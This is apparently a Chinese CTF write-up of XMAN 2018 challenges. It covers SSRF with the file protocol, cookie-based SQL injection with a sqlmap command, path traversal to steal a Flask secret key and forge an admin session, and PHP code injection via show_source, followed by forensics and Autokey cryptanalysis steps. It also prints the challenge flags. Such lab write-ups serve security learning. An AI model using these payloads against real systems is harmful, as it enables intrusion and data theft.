Contents
  1. 1. 0x0x1 Meizijiu_magic2
  2. 2. 0x02 SIMPLE SSRF
  3. 3. 0x02 BBSQLI
  4. 4. 0x04 SSHOP
  5. 5. 0x05 MAKEIT
  6. 6. 0x06 FILE
  7. 7. 0x07 XMAN通行证
  8. 8. 0x08 PPAP
  9. 9. 0x09 AUTOKEY

感觉到了Web狗在CTF比赛中存活的艰难

0x0x1 Meizijiu_magic2

看到hint token_get_all()

打开下载的txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/Applications/MAMP/htdocs/CTF/XMAN/code.php:3:
array (size=232)
0 =>
array (size=3)
0 => int 376
2 => int 1
1 =>
array (size=3)
0 => int 312
1 => string '' (length=2)
2 => int 2
2 =>
array (size=3)
0 => int 379
2 => int 2
3 => string '=' (length=1)
4 =>
array (size=3)
1 => string ' ' (length=1)
2 => int 2
5 =>
array (size=3)
0 => int 318
1 => string '' (length=6)
2 => int 2
.................

题目使用了token_get_all的解析器,将代码转换成上面的样子

手动解析挨行转换,将空格用*号代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
**=*******;
*****=*base64_decode(******);
****=*;
$dd****=*85;
$____*=**********;
*******=*"In".***."P"."h".***;
($i=0;$i<10;$i++){
$dd=*=*$dd*+*1;
}
*********=*chr($dd);
$dc*=*$dd;
{
$dd*=*$dc*+*$dc;
$dc;
($dc<100)
$_GET['secret']*=*isset($_GET['secret'])?$_GET['secret']:1;
($_GET['secret']{
*1:
echo*"XMAN2018!";
;
*4:
;
*$dd:$f1*=***.{."***".********.****.********.str_rot13(*****).******.******;
echo*$f1;
break;
:
*"XMAN NB!";
}


})
}

可以看到大概的逻辑,看到通过$_GET['secret']的值进行判断,并且为数字,遂尝试暴力破解一波

最后结果

1534005554622

最后贴上题目源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$_ = "FLAG";
$__ = base64_decode("QVNU");
$___ = "TOKEN";
$dd = "85";
$____ = "Erirefr";
$_____ = "In"."-"."P"."h"."p";
for($i=0;$i<10;$i++){
$dd = $dd + 1;
}
$_______ = chr($dd);
$dc = $dd;
do{
$dd = $dc + $dc;
$dc++;
}while($dc<100);
$_GET['secret'] = isset($_GET['secret'])?$_GET['secret']:1;
switch($_GET['secret']){
case 1:
echo "XMAN2018!";
break;
case 4:
break;
case $dd:
$fl = $_."{"."$__".$_______.$___.$_______.str_rot13($____).$_____."!@#}";
echo $fl;
break;
default:
echo "XMAN NB!";
}
?>

0x02 SIMPLE SSRF

题目hint:

1
2
3
flag格式:XMAN{.*}
hint:curl
hint:flag在/etc/flag.txt

首先尝试更换url为https://sina.cn
返回wrong site,判断是对url做了检测
采用file协议进行读取flag.txt文件

1534041961954

发现返回get source filed

尝试加上%00截断

1534042042610

还是凉凉

url编码后Get到了flag

1534042087375

0x02 BBSQLI

首先看到网站有个post框

1533955211249

以为是POST注入,但是尝试无果,没有GET参数传递,遂开始检测看COOKIE处是否有注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 202.112.51.184:16080
Content-Length: 12
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://202.112.51.184:16080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://202.112.51.184:16080/
Accept-Language: zh-CN,zh;q=0.8
Cookie:PHPSESSID=1' and 1=1 --+


secret=aaa

and 1=1 与 and 1=2返回不一致,判断有注入

用普通的mysql 联合查询注入就可以

1533956979030

但是要注意的一点就是,表名这里要加反引号,因为这个问题还专门纠结过

找到了题目环境,查看sql文件发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
DROP DATABASE IF EXISTS `sqli`;

CREATE DATABASE `sqli`;

USE `sqli`;

DROP TABLE IF EXISTS `secrets`;

CREATE TABLE `secrets` (
`session_id` varchar(50) DEFAULT NULL,
`secret` varchar(200) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

DROP TABLE IF EXISTS `[GDJM_flag]`;
CREATE TABLE `[GDJM_flag]`(
`flag` varchar(50) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

LOCK TABLES `[GDJM_flag]` WRITE;

INSERT INTO `[GDJM_flag]` VALUES ('xman{YoVr_4R3_a_Bada5s_Ge7_My_Fl4g}');

UNLOCK TABLES;
flush privileges;
CREATE USER 'sqli'@'%' IDENTIFIED BY 'sqli';
grant all ON *.* to 'sqli'@'%';
flush privileges;

发现其中涉及库名,表名,字段名的都是用反引号的,后来在sql命令行中尝试过不用反引号的带有[]的表名报错,并且用mysql命令行查询时,不加反引号报错,所以判定,当在mysql中反引号并不只是把保留关键字当用户名,并且遇到带中文和[]的命名时,也需要用反引号,所以在sql注入中看到中括号就考虑反引号就可以。

sqlmap 注入

1
python2 sqlmap.py -u "http://202.112.51.184:16080/" --cookie "PHPSESSID=e71922b294d8295faad0d48e649e8961" --dump -T "[GDJM_flag]" -D "sqli" --level 2

1533957920825

0x04 SSHOP

首先注册用户,登陆后下载源文件

审计代码发现users.py存在目录穿越漏洞

1534042402525

审计config.py返现key的位置

1534042457106

遂构造payload下载key文件

1
http://202.112.51.184:13080/asserts/..%2f..%2f.secret_key

1534042498475

下载到key后开始伪造session

修改代码处的登陆判断部分

session['admin'] = True

1534042617363

然后注册用户抓取cookie

1534042700213

替换cookie

1534042718092

0x05 MAKEIT

dirsearch 扫描发现/.git/源码泄露

1534042865341

用githack下载文件

1534042876786

然后开始审计

发现命令执行漏洞

1534042999844

构造payload

1
?page='and die(show_source('templates/flag.php'))or'

1534043245456

0x06 FILE

首先拿到\img文件,第一个想到的是挂载

1
mount task-file.\img /mnt/diskd

1534043393944

然后查看挂载的文件

1534043407503

有好多猫的照片,然而并没有什么用

尝试下恢复文件

1
extundelete task-file.\img --restore-all

1534043430507

进入创建的目录

1534043443978

0x07 XMAN通行证

这道题贼坑,刚开始并没有给flag格式,后来放出来了很多hint才有了签到题的样子

1
2
3
4
5
XMan通行证flag格式:xman{.*}
hint:这是个签到题;
hint:base64解码
进行栅栏密码加密
使用凯撒密码进行解密

然后就比较简单了,base64解密后找到相关网站

1534043633732

然后栅栏密码7栏加密

1534043988129

凯撒密码13位解密

1534044005298

0x08 PPAP

下载后拿到wireshark分析

通过协议分级,看到data的比重不一般

1534045052743

分析data协议

1534045062087

选择其中的一个TCP流,选择跟踪流,然后save保存

1534045098060

将其导出到txt文件后,然后再根据中间的英语拆分成三段文件,删除英文

其中每一段之间都有英文间隔,一定要注意

然后用进行base64解码

1
2
3
base64 -d b1 > out.jpg
base64 -d b2 > flag.zip
base64 -d b3 > cascade.xml

用formost 从out.jpg中提取文件

1
foremost out.jpg

最后使用opencv的脚本来跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python

import os
import sys
import cv2

# Get all of the pictures
\imgs = os.listdir('images')

# Cascade we'll be using for detection
cascade = cv2.CascadeClassifier('cascade.xml')

# From the clues
scaling_factor = 1.02
min_neighbors = 70 # Bumped this up until one pic was left

for \img_name in \imgs:
# Load the image and run the cascade
\img = cv2.imread(os.path.join('images', \img_name))
detect = cascade.detectMultiScale(\img, scaling_factor, min_neighbors)
if len(detect) > 0:
for (x, y, w, h) in detect:
# X marks the spot!
cv2.line(\img, (x, y), (x + w, y + h), (255, 0, 0), 2)
cv2.line(\img, (x, y + h), (x + w, y), (255, 0, 0), 2)
# Save the new image
cv2.imwrite(os.path.join('detected', \img_name), \img)

当时从流量包中分离出来的文件,后面的英文是

1
2
3
4
    I don't understand, this isn't even a ma-
Yarrrr, the booty be buried by that which the map points to! (no spaces and no caps)
Ayy, now I be off. But remember, the factor of scales be 1.02, and the neighborly sorts be limited to 50!
Lastly, if ye sail the seven seas, you do be a pirate!

其中

1
But remember, the factor of scales be 1.02, and the neighborly sorts be limited to 50!

所以需要修改脚本中min_neighbors的值,为50以上,慢慢尝试,最后当为65时,成功出现图片

另外还要注意的一点时,要手动创建detected目录,最后运行脚本目录下会出现图片
images

然后看图片,的蓝色的叉号后的骷髅logo,logo的固有单词命名为skull and cross bones(这里需要脑洞和英文基础,然后我并没有,看Wp也看不懂,是acdxvfsvd后来给讲的思路)

tupian

然后去掉空格就是压缩包密码了skullandcrossbones

解开压缩包就有flag

flag值

1
flag{b31Ng_4_P1r4tE_1s_4lR1GHT_w1Th_M3}

0x09 AUTOKEY

下载文件

wireshark分析,发现是usb协议的包

1534045787180

用tshark提取

1
tshark -t task_Autokey.pcapng -T fields -e ust.capdata > usbdata.txt

用脚本替换字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# coding=utf-8

mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print 'output :\n' + output

输出

1
2
output :
[unknown]A[unknown]UTOKEY''.DECIPHER'[unknown]MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXO[DEL]PZE[DEL]IZ'

其中[unknown]为不可解的

可以看出是Autokey加密,并且没有给密码,所以只能用未知关键词破解

输入内容为

1
MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXO[DEL]PZE[DEL]IZ

还有比较纠结的问题是,后面的DEL删除的问题

只能多次尝试

运行解密脚本

其中

这里还有个坑就是,解密脚本需要quadgrams.txttrigrams.txt这两个文件

我刚开始ZZ的以为需要自己填写,纠结了好长时间,才发现是从网站上下载的

附下载 地址

1
http://www.practicalcryptography.com/cryptanalysis/text-characterisation/quadgrams/#a-python-implementation

最后

测试当DEL键是删除前面的内容时是对的

1
MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXPZIZ

然后跑脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python
from ngram_score import ngram_score
from pycipher import Autokey
import re
from itertools import permutations

qgram = ngram_score('quadgrams.txt')
trigram = ngram_score('trigrams.txt')
ctext = 'MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXPZIZ'
ctext = re.sub(r'[^A-Z]','',ctext.upper())

# keep a list of the N best things we have seen, discard anything else
class nbest(object):
def __init__(self,N=1000):
self.store = []
self.N = N

def add(self,item):
self.store.append(item)
self.store.sort(reverse=True)
self.store = self.store[:self.N]

def __getitem__(self,k):
return self.store[k]

def __len__(self):
return len(self.store)

#init
N=100
for KLEN in range(3,20):
rec = nbest(N)

for i in permutations('ABCDEFGHIJKLMNOPQRSTUVWXYZ',3):
key = ''.join(i) + 'A'*(KLEN-len(i))
pt = Autokey(key).decipher(ctext)
score = 0
for j in range(0,len(ctext),KLEN):
score += trigram.score(pt[j:j+3])
rec.add((score,''.join(i),pt[:30]))

输出结果

1
2
3
4
5
6
7
root@iZmplovkbh3pb8Z:~/ctf/misc/Autokey# python break_autokey.py 
-824.697138698 autokey, klen 3 :"YCI", ONDDICCUXCERSFORFKKSWPDHRNTDERUVXRPRUGCAZZLSOYMESWPEESTJAPAXANPPYDSEGJPSYKMCBCEUGWGCWMNPTUWMYATGHQHVBPMSTBATZMIWSPTHTG
-772.470967688 autokey, klen 4 :"SYNR", URYABOHCYQRMWTOXOFNASUIDOWSRDOFILXFGAYOOFDXDIGHPICMHSFLGADYRPKOYWITENTAUUGEGRICPRSYTBARSEHUNOPLRTUCLYCFIKLNEQBOROWBIUD
-803.48764464 autokey, klen 5 :"BCGKY", LNFHXUSXSHEWXRYFOBKZBLUTHPPAYDIKONHGBHGNZAELAKEOFIJSMCPEAWHILNQIDHUMBYMEVYGOHTIPUTHADYWEFENJORBRYVWBAYMXHNUADFOBEUKLHV
-761.616653993 autokey, klen 6 :"KIDAHF", CHIROADVRNKOROOWAKKJSDVTWHIRWRBSGUOXKDNAREBOAJNOPUTNNTITZVWEHUNUPOAIWHEKHRITHEZEAHTETOPEMDSRDSTBPSKKYVSBYDURILDSKGHOFH
-743.720273262 autokey, klen 7 :"KIDEAFY", CHINVAHASWLTUCFRONIDEUEPTIXQXGIGGOURFNNORHUMAWQBJOHWERWEEBNTYRILKFOESTIOCLAISGSTXASQMAWOFPVTSARZSOUKRFIBUTIVVEABLPUEEZ
-674.914569565 autokey, klen 8 :"FLAGHERE", HELLOBOYSANDGIRLSYOUARESOSMARTTHATYOUCANFINDTHEFLAGTHATIHIDEINTHEKEYBOARDPACKAGEFLAGISJHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF

其中FLAGHERE为最终的结果

Contents
  1. 1. 0x0x1 Meizijiu_magic2
  2. 2. 0x02 SIMPLE SSRF
  3. 3. 0x02 BBSQLI
  4. 4. 0x04 SSHOP
  5. 5. 0x05 MAKEIT
  6. 6. 0x06 FILE
  7. 7. 0x07 XMAN通行证
  8. 8. 0x08 PPAP
  9. 9. 0x09 AUTOKEY